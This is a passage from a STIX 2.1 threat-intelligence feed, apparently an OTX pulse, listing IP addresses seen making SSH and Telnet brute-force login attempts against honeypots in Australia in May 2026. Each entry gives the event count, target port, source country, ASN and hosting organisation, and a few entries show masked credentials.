      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.213.81.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c77a37da-cb1e-44c8-8c39-c43b206cbd54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.179.130.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 108. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 142327. Organisation(s): PT Internet Prima Nusantara.",
      "id": "indicator--4bda7156-45e4-4070-bc1e-b69fed1d8aea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.40.248.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--ab5f7885-2a37-4897-9c98-6b253e6e269f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.162.44.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 294. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--e1fa0d4e-4416-46b6-b4cb-6822ae78b545",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '15.235.56.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Fatt. Target ports: 2222. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--365e732f-7cb4-46d8-8fe9-d81e24fb2ee8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '150.107.36.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 197. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--3202fc8b-1b8f-4028-bd72-bed9fc8ed381",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.245.124.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22, 23. Source country: SC. ASN(s): 49870. Organisation(s): Alsycon B.V.. Usernames observed (masked): s**n. Passwords observed (masked): .",
      "id": "indicator--581ec440-6f99-4ae4-a7ee-b5957bf0716e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 68. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 19871. Organisation(s): Network Solutions, LLC.",
      "id": "indicator--03077c4c-0f99-4651-a3e9-1c5e8c0ce35f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '162.241.65.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 76. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--3c476f92-b047-4328-b076-e39953402417",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.188.10.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 52. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--09729160-bb3f-4b0b-9d0e-d2d5fc5f3d97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '173.249.18.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 19429. Organisation(s): Colombia.",
      "id": "indicator--fd211923-1a22-451d-9dbc-031b2eabf449",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.29.226.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 41786. Organisation(s): JSC ER-Telecom Holding.",
      "id": "indicator--62ad3c56-a2a6-4ca4-b286-28df652485b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.187.145.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 54. Sensors involved: Cowrie. Target ports: 23. Source country: RO. ASN(s): 50369. Organisation(s): Safegrid Network SRL.",
      "id": "indicator--fcceb29f-07e1-4a54-b9a1-3d4bf2a92fbb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.105.71.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--858f6349-b242-41fc-a083-22bcd579e0b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--dad97b6e-1c46-46ae-bb68-a93996be1946",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.29.19.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 156. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 201106. Organisation(s): Spartan Host Ltd.",
      "id": "indicator--f29fad5b-2f30-4406-b3a6-d274da407359",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.5.31.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 58. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20473. Organisation(s): The Constant Company, LLC.",
      "id": "indicator--e55feab6-affe-4a4f-9f9e-f84dabb1dcbc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '207.246.98.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 56. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 20473. Organisation(s): The Constant Company, LLC.",
      "id": "indicator--f2a6c55d-48e2-403d-bcad-1108df17ce90",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.250.241.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--066a7b8e-2e5f-47c7-b0b4-38e19fc4f2e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '211.245.203.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 78. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 394695. Organisation(s): PDR.",
      "id": "indicator--ede482fa-5f9b-4944-a812-60bc324340e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.10.245.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--670c1b50-bda8-481f-889d-caef6f71251d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.185.55.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 209373. Organisation(s): Swissnet LLC.",
      "id": "indicator--593abc9a-1970-4805-859a-7643cbfd4afe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.56.209.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--b8fd9610-f9fb-4a0a-8859-58e2c86ee9da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.255.44.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 146943. Organisation(s): Tier 4 Cloud Services.",
      "id": "indicator--7d50ca32-aa56-4d2a-909c-958ed6f75625",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.230.203.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 52. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 55720. Organisation(s): Gigabit Hosting Sdn Bhd.",
      "id": "indicator--c26d2a46-01e8-4828-9153-135cecd69255",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.121.146.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LT. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): r**t, a*****e, 3**********4, o**o. Passwords observed (masked): 1******w, ***, 1******8, 1******6, 1*******C.",
      "id": "indicator--a3f4728f-7a5b-40da-ba83-96c0749d06a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.29.234.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 52. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 141995. Organisation(s): Contabo Asia Private Limited.",
      "id": "indicator--39bbd389-9cf8-40ae-b342-7103c8321637",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.104.84.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC.",
      "id": "indicator--9d41697d-5a52-435a-9562-5f4b89f48715",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '50.146.26.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--37ae065c-4338-4a81-b2df-f98eea18f855",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 205759. Organisation(s): Ghosty Networks LLC.",
      "id": "indicator--60f1f038-3a20-43ce-9109-6df8bd30c60a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.89.160.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: AE. ASN(s): 31898. Organisation(s): Oracle Corporation.",
      "id": "indicator--6891b6a6-f9ef-4d04-84bf-9ba9e8ae9a34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.116.235.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 134. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--96406af3-9525-4429-bced-52148d78eab6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.183.178.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 340. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 55293. Organisation(s): A2 Hosting, Inc..",
      "id": "indicator--f1897df5-7c39-4f42-8c70-13b9a4b31a79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '70.32.30.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 68. Sensors involved: Cowrie. Target ports: 23. Source country: RO. ASN(s): 34358. Organisation(s): Cyber_Folks SRL.",
      "id": "indicator--615da02e-e6c4-4b25-be06-05c0663fe679",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.38.251.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 564. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--48c96326-afca-4f8e-8894-7cf327dc4557",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.111.224.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--59e493b5-a275-45fe-929c-d0a3c2b60511",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.47.8.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T05:15:10.000Z",
      "valid_until": "2026-06-02T05:15:08.000Z"
    },
    {
      "created": "2026-05-01T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
